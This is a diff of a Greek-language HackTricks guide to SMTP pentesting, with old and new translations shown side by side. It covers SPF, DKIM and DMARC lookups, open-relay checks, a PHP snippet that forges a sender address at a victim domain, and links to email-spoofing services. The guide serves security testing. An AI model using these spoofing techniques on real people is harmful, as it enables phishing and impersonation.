Επιπλέον, για να επαναχρησιμοποιήσετε προηγούμενα SPF records, είναι αρκετά συνηθισμένο να βρείτε κάτι σαν `"v=spf1 include:_spf.google.com ~all"` Επιπλέον, για να επαναχρησιμοποιήσετε προηγούμενες εγγραφές spf, είναι αρκετά συνηθισμένο να βρείτε κάτι σαν `"v=spf1 include:_spf.google.com ~all"`
{% endhint %} {% endhint %}
**Sender Policy Framework** (SPF) είναι ένας μηχανισμός που επιτρέπει στους Mail Transfer Agents (MTAs) να επαληθεύουν αν ένας host που στέλνει ένα email είναι εξουσιοδοτημένος, ερωτώντας μια λίστα εξουσιοδοτημένων mail servers που ορίζονται από τους οργανισμούς. Αυτή η λίστα, η οποία καθορίζει διευθύνσεις IP/εύρη, τομείς και άλλες οντότητες **εξουσιοδοτημένες να στέλνουν email εκ μέρους ενός ονόματος τομέα**, περιλαμβάνει διάφορους "**Μηχανισμούς**" στο SPF record. **Sender Policy Framework** (SPF) είναι ένας μηχανισμός που επιτρέπει στους Mail Transfer Agents (MTAs) να επαληθεύουν αν ένας διακομιστής που στέλνει ένα email είναι εξουσιοδοτημένος, ερωτώντας μια λίστα εξουσιοδοτημένων διακομιστών email που ορίζονται από τους οργανισμούς. Αυτή η λίστα, η οποία καθορίζει διευθύνσεις IP/εύρη, τομείς και άλλες οντότητες **εξουσιοδοτημένες να στέλνουν email εκ μέρους ενός ονόματος τομέα**, περιλαμβάνει διάφορους "**Μηχανισμούς**" στην εγγραφή SPF.
#### Μηχανισμοί #### Μηχανισμοί
@ -271,15 +275,15 @@ print("[***]successfully sent email to %s:" % (msg['To']))
| Μηχανισμός | Περιγραφή | | Μηχανισμός | Περιγραφή |
| ----------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | ----------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL | Ταιριάζει πάντα; χρησιμοποιείται για ένα προεπιλεγμένο αποτέλεσμα όπως το `-all` για όλες τις IP που δεν ταιριάζουν με τους προηγούμενους μηχανισμούς. | | ALL | Ταιριάζει πάντα; χρησιμοποιείται για ένα προεπιλεγμένο αποτέλεσμα όπως το `-all` για όλες τις IP που δεν ταιριάζουν με προηγούμενους μηχανισμούς. |
| A | Αν το όνομα τομέα έχει ένα record διεύθυνσης (A ή AAAA) που μπορεί να επιλυθεί στη διεύθυνση του αποστολέα, θα ταιριάξει. | | A | Αν το όνομα τομέα έχει μια εγγραφή διεύθυνσης (A ή AAAA) που μπορεί να επιλυθεί στη διεύθυνση του αποστολέα, θα ταιριάξει. |
| IP4 | Αν ο αποστολέας είναι σε μια δεδομένη περιοχή διευθύνσεων IPv4, ταιριάζει. | | IP4 | Αν ο αποστολέας είναι σε μια δεδομένη περιοχή διευθύνσεων IPv4, ταιριάζει. |
| IP6 | Αν ο αποστολέας είναι σε μια δεδομένη περιοχή διευθύνσεων IPv6, ταιριάζει. | | IP6 | Αν ο αποστολέας είναι σε μια δεδομένη περιοχή διευθύνσεων IPv6, ταιριάζει. |
| MX | Αν το όνομα τομέα έχει ένα MX record που επιλύει στη διεύθυνση του αποστολέα, θα ταιριάξει (δηλαδή, το email προέρχεται από έναν από τους εισερχόμενους mail servers του τομέα). | | MX | Αν το όνομα τομέα έχει μια εγγραφή MX που επιλύει στη διεύθυνση του αποστολέα, θα ταιριάξει (δηλαδή, το email προέρχεται από έναν από τους διακομιστές εισερχόμενης αλληλογραφίας του τομέα). |
| PTR | Αν το όνομα τομέα (record PTR) για τη διεύθυνση του πελάτη είναι στον δεδομένο τομέα και αυτό το όνομα τομέα επιλύει στη διεύθυνση του πελάτη (forward-confirmed reverse DNS), ταιριάζει. Αυτός ο μηχανισμός αποθαρρύνεται και θα πρέπει να αποφεύγεται, αν είναι δυνατόν. | | PTR | Αν το όνομα τομέα (εγγραφή PTR) για τη διεύθυνση του πελάτη είναι στον δεδομένο τομέα και αυτό το όνομα τομέα επιλύει στη διεύθυνση του πελάτη (forward-confirmed reverse DNS), ταιριάζει. Αυτός ο μηχανισμός αποθαρρύνεται και θα πρέπει να αποφεύγεται, αν είναι δυνατόν. |
| EXISTS | Αν το δεδομένο όνομα τομέα επιλύει σε οποιαδήποτε διεύθυνση, ταιριάζει (δεν έχει σημασία η διεύθυνση στην οποία επιλύεται). Αυτό χρησιμοποιείται σπάνια. Μαζί με τη γλώσσα μακροεντολών SPF προσφέρει πιο σύνθετους ταιριάσματος όπως DNSBL-queries. | | EXISTS | Αν το δεδομένο όνομα τομέα επιλύει σε οποιαδήποτε διεύθυνση, ταιριάζει (δεν έχει σημασία η διεύθυνση στην οποία επιλύεται). Αυτό χρησιμοποιείται σπάνια. Μαζί με τη γλώσσα μακροεντολών SPF προσφέρει πιο σύνθετους ταιριάσματος όπως DNSBL-queries. |
| INCLUDE | Αναφέρεται στην πολιτική ενός άλλου τομέα. Αν η πολιτική αυτού του τομέα περάσει, αυτός ο μηχανισμός περνά. Ωστόσο, αν η συμπεριλαμβανόμενη πολιτική αποτύχει, η επεξεργασία συνεχίζεται. Για να ανατεθεί πλήρως σε μια πολιτική άλλου τομέα, πρέπει να χρησιμοποιηθεί η επέκταση ανακατεύθυνσης. | | INCLUDE | Αναφέρεται στην πολιτική ενός άλλου τομέα. Αν η πολιτική αυτού του τομέα περάσει, αυτός ο μηχανισμός περνά. Ωστόσο, αν η συμπεριλαμβανόμενη πολιτική αποτύχει, η επεξεργασία συνεχίζεται. Για να ανατεθεί πλήρως σε μια πολιτική άλλου τομέα, πρέπει να χρησιμοποιηθεί η επέκταση ανακατεύθυνσης. |
| REDIRECT | <p>Μια ανακατεύθυνση είναι ένας δείκτης σε ένα άλλο όνομα τομέα που φιλοξενεί μια πολιτική SPF, επιτρέπει σε πολλούς τομείς να μοιράζονται την ίδια πολιτική SPF. Είναι χρήσιμη όταν εργάζεστε με μεγάλο αριθμό τομέων που μοιράζονται την ίδια υποδομή email.</p><p>Η πολιτική SPF του τομέα που υποδεικνύεται στη μηχανή ανακατεύθυνσης θα χρησιμοποιηθεί.</p> | | REDIRECT | <p>Μια ανακατεύθυνση είναι ένας δείκτης σε ένα άλλο όνομα τομέα που φιλοξενεί μια πολιτική SPF, επιτρέπει σε πολλούς τομείς να μοιράζονται την ίδια πολιτική SPF. Είναι χρήσιμη όταν εργάζεστε με μεγάλο αριθμό τομέων που μοιράζονται την ίδια υποδομή email.</p><p>Η πολιτική SPF του τομέα που υποδεικνύεται στην ανακατεύθυνση θα χρησιμοποιηθεί.</p> |
Είναι επίσης δυνατό να προσδιοριστούν **Ποιοτικοί δείκτες** που υποδεικνύουν **τι πρέπει να γίνει αν ταιριάξει ένας μηχανισμός**. Από προεπιλογή, χρησιμοποιείται ο **ποιοτικός δείκτης "+"** (έτσι αν ταιριάξει οποιοσδήποτε μηχανισμός, αυτό σημαίνει ότι επιτρέπεται).\ Είναι επίσης δυνατό να προσδιοριστούν **Ποιοτικοί δείκτες** που υποδεικνύουν **τι πρέπει να γίνει αν ταιριάξει ένας μηχανισμός**. Από προεπιλογή, χρησιμοποιείται ο **ποιοτικός δείκτης "+"** (έτσι αν ταιριάξει οποιοσδήποτε μηχανισμός, αυτό σημαίνει ότι επιτρέπεται).\
Συνήθως θα παρατηρήσετε **στο τέλος κάθε πολιτικής SPF** κάτι σαν: **\~all** ή **-all**. Αυτό χρησιμοποιείται για να υποδείξει ότι **αν ο αποστολέας δεν ταιριάζει με καμία πολιτική SPF, θα πρέπει να επισημάνετε το email ως μη αξιόπιστο (\~) ή να απορρίψετε (-) το email.** Συνήθως θα παρατηρήσετε **στο τέλος κάθε πολιτικής SPF** κάτι σαν: **\~all** ή **-all**. Αυτό χρησιμοποιείται για να υποδείξει ότι **αν ο αποστολέας δεν ταιριάζει με καμία πολιτική SPF, θα πρέπει να επισημάνετε το email ως μη αξιόπιστο (\~) ή να απορρίψετε (-) το email.**
@ -289,7 +293,7 @@ print("[***]successfully sent email to %s:" % (msg['To']))
Κάθε μηχανισμός εντός της πολιτικής μπορεί να έχει πρόθεμα έναν από τους τέσσερις ποιοτικούς δείκτες για να καθορίσει το επιθυμητό αποτέλεσμα: Κάθε μηχανισμός εντός της πολιτικής μπορεί να έχει πρόθεμα έναν από τους τέσσερις ποιοτικούς δείκτες για να καθορίσει το επιθυμητό αποτέλεσμα:
* **`+`**: Αντιστοιχεί σε ένα αποτέλεσμα PASS. Από προεπιλογή, οι μηχανισμοί υποθέτουν αυτόν τον ποιοτικό δείκτη, κάνοντάς το `+mx` ισοδύναμο με `mx`. * **`+`**: Αντιστοιχεί σε ένα αποτέλεσμα PASS. Από προεπιλογή, οι μηχανισμοί υποθέτουν αυτόν τον ποιοτικό δείκτη, κάνοντάς το `+mx` ισοδύναμο με `mx`.
* **`?`**: Αντιπροσωπεύει ένα αποτέλεσμα NEUTRAL, που αντιμετωπίζεται παρόμοια με το NONE (καμία συγκεκριμένη πολιτική). * **`?`**: Αντιπροσωπεύει ένα NEUTRAL αποτέλεσμα, που αντιμετωπίζεται παρόμοια με το NONE (καμία συγκεκριμένη πολιτική).
* **`~`**: Υποδηλώνει SOFTFAIL, λειτουργώντας ως ενδιάμεσος χώρος μεταξύ NEUTRAL και FAIL. Τα emails που πληρούν αυτό το αποτέλεσμα γίνονται συνήθως αποδεκτά αλλά επισημαίνονται αναλόγως. * **`~`**: Υποδηλώνει SOFTFAIL, λειτουργώντας ως ενδιάμεσος χώρος μεταξύ NEUTRAL και FAIL. Τα emails που πληρούν αυτό το αποτέλεσμα γίνονται συνήθως αποδεκτά αλλά επισημαίνονται αναλόγως.
* **`-`**: Υποδηλώνει FAIL, προτείνοντας ότι το email θα πρέπει να απορριφθεί εντελώς. * **`-`**: Υποδηλώνει FAIL, προτείνοντας ότι το email θα πρέπει να απορριφθεί εντελώς.
@ -320,7 +324,7 @@ _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:1
Το DKIM χρησιμοποιείται για να υπογράφει τα εξερχόμενα emails, επιτρέποντας την επικύρωσή τους από εξωτερικούς Mail Transfer Agents (MTAs) μέσω της ανάκτησης του δημόσιου κλειδιού του τομέα από το DNS. Αυτό το δημόσιο κλειδί βρίσκεται στο TXT record ενός τομέα. Για να αποκτήσετε αυτό το κλειδί, πρέπει να γνωρίζετε τόσο τον επιλεγέα όσο και το όνομα του τομέα. Το DKIM χρησιμοποιείται για να υπογράφει τα εξερχόμενα emails, επιτρέποντας την επικύρωσή τους από εξωτερικούς Mail Transfer Agents (MTAs) μέσω της ανάκτησης του δημόσιου κλειδιού του τομέα από το DNS. Αυτό το δημόσιο κλειδί βρίσκεται στο TXT record ενός τομέα. Για να αποκτήσετε αυτό το κλειδί, πρέπει να γνωρίζετε τόσο τον επιλεγέα όσο και το όνομα του τομέα.
Για παράδειγμα, για να ζητήσετε το κλειδί, το όνομα του τομέα και ο επιλεγέας είναι απαραίτητοι. Αυτά μπορούν να βρεθούν στην κεφαλίδα email `DKIM-Signature`, π.χ., `d=gmail.com;s=20120113`. Για παράδειγμα, για να ζητήσετε το κλειδί, το όνομα του τομέα και ο επιλεγέας είναι απαραίτητα. Αυτά μπορούν να βρεθούν στην κεφαλίδα email `DKIM-Signature`, π.χ., `d=gmail.com;s=20120113`.
Μια εντολή για να ανακτήσετε αυτές τις πληροφορίες μπορεί να μοιάζει με: Μια εντολή για να ανακτήσετε αυτές τις πληροφορίες μπορεί να μοιάζει με:
```bash ```bash
@ -330,7 +334,7 @@ dig 20120113._domainkey.gmail.com TXT | grep p=
``` ```
### DMARC (Domain-based Message Authentication, Reporting & Conformance) ### DMARC (Domain-based Message Authentication, Reporting & Conformance)
Το DMARC ενισχύει την ασφάλεια των email βασιζόμενο στα πρωτόκολλα SPF και DKIM. Περιγράφει πολιτικές που καθοδηγούν τους mail servers στη διαχείριση των email από έναν συγκεκριμένο τομέα, συμπεριλαμβανομένου του τρόπου αντιμετώπισης αποτυχιών αυθεντικοποίησης και του πού να στέλνονται οι αναφορές σχετικά με τις ενέργειες επεξεργασίας email. Το DMARC ενισχύει την ασφάλεια των email βασιζόμενο στα πρωτόκολλα SPF και DKIM. Περιγράφει πολιτικές που καθοδηγούν τους mail servers στη διαχείριση των email από μια συγκεκριμένη τομέα, συμπεριλαμβανομένου του τρόπου αντιμετώπισης αποτυχιών αυθεντικοποίησης και πού να στείλουν αναφορές σχετικά με τις ενέργειες επεξεργασίας email.
**Για να αποκτήσετε το DMARC record, πρέπει να κάνετε ερώτηση στο υποτομέα \_dmarc** **Για να αποκτήσετε το DMARC record, πρέπει να κάνετε ερώτηση στο υποτομέα \_dmarc**
```bash ```bash
@ -363,15 +367,15 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
**Από** [**εδώ**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\ **Από** [**εδώ**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
Πρέπει να έχετε ξεχωριστές εγγραφές SPF για κάθε υποτομέα από τον οποίο θέλετε να στείλετε email.\ Πρέπει να έχετε ξεχωριστές εγγραφές SPF για κάθε υποτομέα από τον οποίο θέλετε να στείλετε email.\
Το παρακάτω είχε αρχικά δημοσιευτεί στο openspf.org, το οποίο ήταν μια εξαιρετική πηγή για αυτό το είδος πληροφοριών. Το παρακάτω δημοσιεύθηκε αρχικά στο openspf.org, το οποίο ήταν μια εξαιρετική πηγή για αυτού του είδους τις πληροφορίες.
> Η Ερώτηση του Demon: Τι γίνεται με τους υποτομείς; > Η Ερώτηση του Demon: Τι γίνεται με τους υποτομείς;
> >
> Αν λάβω email από pielovers.demon.co.uk, και δεν υπάρχουν δεδομένα SPF για pielovers, πρέπει να επιστρέψω ένα επίπεδο και να ελέγξω το SPF για demon.co.uk; Όχι. Κάθε υποτομέας στο Demon είναι διαφορετικός πελάτης, και κάθε πελάτης μπορεί να έχει τη δική του πολιτική. Δεν θα είχε νόημα η πολιτική του Demon να ισχύει για όλους τους πελάτες του από προεπιλογή; Αν το Demon θέλει να το κάνει αυτό, μπορεί να ρυθμίσει εγγραφές SPF για κάθε υποτομέα. > Αν λάβω email από pielovers.demon.co.uk, και δεν υπάρχουν δεδομένα SPF για το pielovers, πρέπει να επιστρέψω ένα επίπεδο και να ελέγξω το SPF για το demon.co.uk; Όχι. Κάθε υποτομέας στο Demon είναι διαφορετικός πελάτης, και κάθε πελάτης μπορεί να έχει τη δική του πολιτική. Δεν θα είχε νόημα η πολιτική του Demon να ισχύει για όλους τους πελάτες του από προεπιλογή; Αν το Demon θέλει να το κάνει αυτό, μπορεί να ρυθμίσει εγγραφές SPF για κάθε υποτομέα.
> >
> Έτσι, η συμβουλή προς τους εκδότες SPF είναι αυτή: θα πρέπει να προσθέσετε μια εγγραφή SPF για κάθε υποτομέα ή όνομα κεντρικού υπολογιστή που έχει εγγραφή A ή MX. > Έτσι, η συμβουλή προς τους εκδότες SPF είναι αυτή: θα πρέπει να προσθέσετε μια εγγραφή SPF για κάθε υποτομέα ή όνομα κεντρικού υπολογιστή που έχει εγγραφή A ή MX.
> >
> Ιστοσελίδες με wildcard A ή MX εγγραφές θα πρέπει επίσης να έχουν μια wildcard SPF εγγραφή, της μορφής: \* IN TXT "v=spf1 -all" > Οι ιστότοποι με wildcard A ή MX εγγραφές θα πρέπει επίσης να έχουν μια wildcard SPF εγγραφή, της μορφής: \* IN TXT "v=spf1 -all"
Αυτό έχει νόημα - ένας υποτομέας μπορεί πολύ καλά να βρίσκεται σε διαφορετική γεωγραφική τοποθεσία και να έχει πολύ διαφορετικό ορισμό SPF. Αυτό έχει νόημα - ένας υποτομέας μπορεί πολύ καλά να βρίσκεται σε διαφορετική γεωγραφική τοποθεσία και να έχει πολύ διαφορετικό ορισμό SPF.
@ -383,16 +387,16 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
```bash ```bash
mynetworks = 0.0.0.0/0 mynetworks = 0.0.0.0/0
``` ```
Για να ελέγξετε αν ένας διακομιστής αλληλογραφίας είναι ανοιχτός διαμετακομιστής (που σημαίνει ότι θα μπορούσε να προωθήσει email από οποιαδήποτε εξωτερική πηγή), το εργαλείο `nmap` χρησιμοποιείται συνήθως. Περιλαμβάνει ένα συγκεκριμένο σενάριο σχεδιασμένο για να δοκιμάσει αυτό. Η εντολή για να διεξάγετε μια λεπτομερή σάρωση σε έναν διακομιστή (για παράδειγμα, με IP 10.10.10.10) στην πόρτα 25 χρησιμοποιώντας το `nmap` είναι: Για να ελέγξετε αν ένας διακομιστής αλληλογραφίας είναι ανοιχτός διαμετακομιστής (που σημαίνει ότι θα μπορούσε να προωθήσει email από οποιαδήποτε εξωτερική πηγή), το εργαλείο `nmap` χρησιμοποιείται συνήθως. Περιλαμβάνει ένα συγκεκριμένο σενάριο σχεδιασμένο για να το δοκιμάσει. Η εντολή για να διεξάγετε μια λεπτομερή σάρωση σε έναν διακομιστή (για παράδειγμα, με IP 10.10.10.10) στην πόρτα 25 χρησιμοποιώντας το `nmap` είναι:
```bash ```bash
nmap -p25 --script smtp-open-relay 10.10.10.10 -v nmap -p25 --script smtp-open-relay 10.10.10.10 -v
``` ```
### **Εργαλεία** ### **Εργαλεία**
* [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Έλεγχος για misconfigurations SPF και DMARC** * [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Έλεγχος για κακή ρύθμιση SPF και DMARC**
* [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Αυτόματος έλεγχος SPF και DMARC configs** * [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Αυτόματη λήψη ρυθμίσεων SPF και DMARC**
### Αποστολή Spoof Email ### Αποστολή Ψεύτικου Email
* [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index) * [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index)
* [**http://www.anonymailer.net/**](http://www.anonymailer.net) * [**http://www.anonymailer.net/**](http://www.anonymailer.net)
@ -434,7 +438,7 @@ K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
{% tabs %} {% tabs %}
{% tab title="PHP" %} {% tab title="PHP" %}
<pre class="language-php"><code class="lang-php"><strong># Αυτό θα στείλει ένα μη υπογεγραμμένο μήνυμα <pre class="language-php"><code class="lang-php"><strong># Αυτό θα στείλει ένα μη υπογεγραμμένο μήνυμα
</strong><strong>mail("your_email@gmail.com", "Test Subject!", "hey! This is a test", "From: administrator@victim.com"); </strong><strong>mail("your_email@gmail.com", "Δοκιμαστικός Θέμα!", "γεια! Αυτό είναι μια δοκιμή", "Από: administrator@victim.com");
</strong></code></pre> </strong></code></pre>
{% endtab %} {% endtab %}
@ -505,11 +509,11 @@ s.sendmail(sender, [destination], msg_data)
* Η ηλικία του τομέα * Η ηλικία του τομέα
* Συνδέσμοι που δείχνουν σε διευθύνσεις IP * Συνδέσμοι που δείχνουν σε διευθύνσεις IP
* Τεχνικές χειρισμού συνδέσμων * Τεχνικές χειραγώγησης συνδέσμων
* Ύποπτα (σπάνια) συνημμένα * Υποψίες (ασυνήθιστες) συνημμένες
* Σπασμένο περιεχόμενο email * Σπασμένο περιεχόμενο email
* Τιμές που χρησιμοποιούνται που διαφέρουν από αυτές των κεφαλίδων του email * Τιμές που χρησιμοποιούνται που διαφέρουν από αυτές των κεφαλίδων του email
* Υπαρξή έγκυρου και αξιόπιστου πιστοποιητικού SSL * Ύπαρξη έγκυρου και αξιόπιστου πιστοποιητικού SSL
* Υποβολή της σελίδας σε ιστότοπους φιλτραρίσματος περιεχομένου * Υποβολή της σελίδας σε ιστότοπους φιλτραρίσματος περιεχομένου
## Εξαγωγή μέσω SMTP ## Εξαγωγή μέσω SMTP
@ -585,13 +589,15 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Άμεσα διαθέσιμη ρύθμιση για αξιολόγηση ευπαθειών & δοκιμές διείσδυσης**. Εκτελέστε μια πλήρη δοκιμή από οπουδήποτε με 20+ εργαλεία & δυνατότητες που κυμαίνονται από αναγνώριση έως αναφορά. Δεν αντικαθιστούμε τους pentesters - αναπτύσσουμε προσαρμοσμένα εργαλεία, μονάδες ανίχνευσης & εκμετάλλευσης για να τους δώσουμε πίσω λίγο χρόνο για να εμβαθύνουν, να αποκτήσουν πρόσβαση σε συστήματα και να διασκεδάσουν. #### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές ιστού, το δίκτυο και το cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>

View file

@ -17,7 +17,9 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Άμεσα διαθέσιμη ρύθμιση για αξιολόγηση ευπαθειών & pentesting**. Εκτελέστε ένα πλήρες pentest από οπουδήποτε με 20+ εργαλεία & δυνατότητες που καλύπτουν από αναγνώριση έως αναφορά. Δεν αντικαθιστούμε τους pentesters - αναπτύσσουμε προσαρμοσμένα εργαλεία, μονάδες ανίχνευσης & εκμετάλλευσης για να τους δώσουμε πίσω λίγο χρόνο να εμβαθύνουν, να ανοίξουν shells και να διασκεδάσουν. #### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές σας, το δίκτυο και το cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφάλειας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -30,13 +32,13 @@
Μια εναλλακτική εντολή για να ξεκινήσει η συνομιλία, υπογραμμίζοντας ότι ο διακομιστής χρησιμοποιεί το πρωτόκολλο Extended SMTP. Μια εναλλακτική εντολή για να ξεκινήσει η συνομιλία, υπογραμμίζοντας ότι ο διακομιστής χρησιμοποιεί το πρωτόκολλο Extended SMTP.
**MAIL FROM**\ **MAIL FROM**\
Με αυτή την εντολή SMTP αρχίζουν οι διαδικασίες: ο αποστολέας δηλώνει τη διεύθυνση email προέλευσης στο πεδίο “From” και στην πραγματικότητα ξεκινά τη μεταφορά email. Με αυτή την εντολή SMTP αρχίζουν οι λειτουργίες: ο αποστολέας δηλώνει τη διεύθυνση email προέλευσης στο πεδίο “From” και στην πραγματικότητα ξεκινά τη μεταφορά email.
**RCPT TO**\ **RCPT TO**\
Αναγνωρίζει τον παραλήπτη του email; αν υπάρχουν περισσότεροι από ένας, η εντολή απλά επαναλαμβάνεται διεύθυνση προς διεύθυνση. Αναγνωρίζει τον παραλήπτη του email; αν υπάρχουν περισσότεροι από ένας, η εντολή απλά επαναλαμβάνεται διεύθυνση προς διεύθυνση.
**SIZE**\ **SIZE**\
Αυτή η εντολή SMTP ενημερώνει τον απομακρυσμένο διακομιστή για το εκτιμώμενο μέγεθος (σε bytes) του συνημμένου email. Μπορεί επίσης να χρησιμοποιηθεί για να αναφέρει το μέγιστο μέγεθος ενός μηνύματος που θα γίνει αποδεκτό από τον διακομιστή. Αυτή η εντολή SMTP ενημερώνει τον απομακρυσμένο διακομιστή για το εκτιμώμενο μέγεθος (σε όρους byte) του συνημμένου email. Μπορεί επίσης να χρησιμοποιηθεί για να αναφέρει το μέγιστο μέγεθος ενός μηνύματος που θα γίνει αποδεκτό από τον διακομιστή.
**DATA**\ **DATA**\
Με την εντολή DATA αρχίζει η μεταφορά του περιεχομένου του email; γενικά ακολουθείται από έναν κωδικό απάντησης 354 που δίνεται από τον διακομιστή, δίνοντας την άδεια να ξεκινήσει η πραγματική μετάδοση. Με την εντολή DATA αρχίζει η μεταφορά του περιεχομένου του email; γενικά ακολουθείται από έναν κωδικό απάντησης 354 που δίνεται από τον διακομιστή, δίνοντας την άδεια να ξεκινήσει η πραγματική μετάδοση.
@ -45,16 +47,16 @@
Ο διακομιστής ζητείται να επαληθεύσει αν μια συγκεκριμένη διεύθυνση email ή όνομα χρήστη υπάρχει πραγματικά. Ο διακομιστής ζητείται να επαληθεύσει αν μια συγκεκριμένη διεύθυνση email ή όνομα χρήστη υπάρχει πραγματικά.
**TURN**\ **TURN**\
Αυτή η εντολή χρησιμοποιείται για να αντιστρέψει τους ρόλους μεταξύ του πελάτη και του διακομιστή, χωρίς την ανάγκη να εκτελέσει μια νέα σύνδεση. Αυτή η εντολή χρησιμοποιείται για να αντιστρέψει τους ρόλους μεταξύ του πελάτη και του διακομιστή, χωρίς την ανάγκη να εκτελέσετε μια νέα σύνδεση.
**AUTH**\ **AUTH**\
Με την εντολή AUTH, ο πελάτης αυθεντικοποιείται στον διακομιστή, δίνοντας το όνομα χρήστη και τον κωδικό του. Είναι ένα επιπλέον επίπεδο ασφάλειας για να διασφαλιστεί μια σωστή μετάδοση. Με την εντολή AUTH, ο πελάτης αυθεντικοποιείται στον διακομιστή, δίνοντας το όνομα χρήστη και τον κωδικό του. Είναι ένα άλλο επίπεδο ασφάλειας για να διασφαλιστεί μια σωστή μετάδοση.
**RSET**\ **RSET**\
Επικοινωνεί στον διακομιστή ότι η τρέχουσα μετάδοση email πρόκειται να τερματιστεί, αν και η συνομιλία SMTP δεν θα κλείσει (όπως στην περίπτωση του QUIT). Επικοινωνεί με τον διακομιστή ότι η τρέχουσα μετάδοση email πρόκειται να τερματιστεί, αν και η συνομιλία SMTP δεν θα κλείσει (όπως στην περίπτωση του QUIT).
**EXPN**\ **EXPN**\
Αυτή η εντολή SMTP ζητά επιβεβαίωση σχετικά με την αναγνώριση μιας λίστας αλληλογραφίας. Αυτή η εντολή SMTP ζητά επιβεβαίωση σχετικά με την ταυτοποίηση μιας λίστας αλληλογραφίας.
**HELP**\ **HELP**\
Είναι ένα αίτημα του πελάτη για κάποιες πληροφορίες που μπορεί να είναι χρήσιμες για μια επιτυχημένη μεταφορά του email. Είναι ένα αίτημα του πελάτη για κάποιες πληροφορίες που μπορεί να είναι χρήσιμες για μια επιτυχημένη μεταφορά του email.
@ -64,7 +66,9 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Άμεσα διαθέσιμη ρύθμιση για αξιολόγηση ευπαθειών & pentesting**. Εκτελέστε ένα πλήρες pentest από οπουδήποτε με 20+ εργαλεία & δυνατότητες που καλύπτουν από αναγνώριση έως αναφορά. Δεν αντικαθιστούμε τους pentesters - αναπτύσσουμε προσαρμοσμένα εργαλεία, μονάδες ανίχνευσης & εκμετάλλευσης για να τους δώσουμε πίσω λίγο χρόνο να εμβαθύνουν, να ανοίξουν shells και να διασκεδάσουν. #### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές σας, το δίκτυο και το cloud
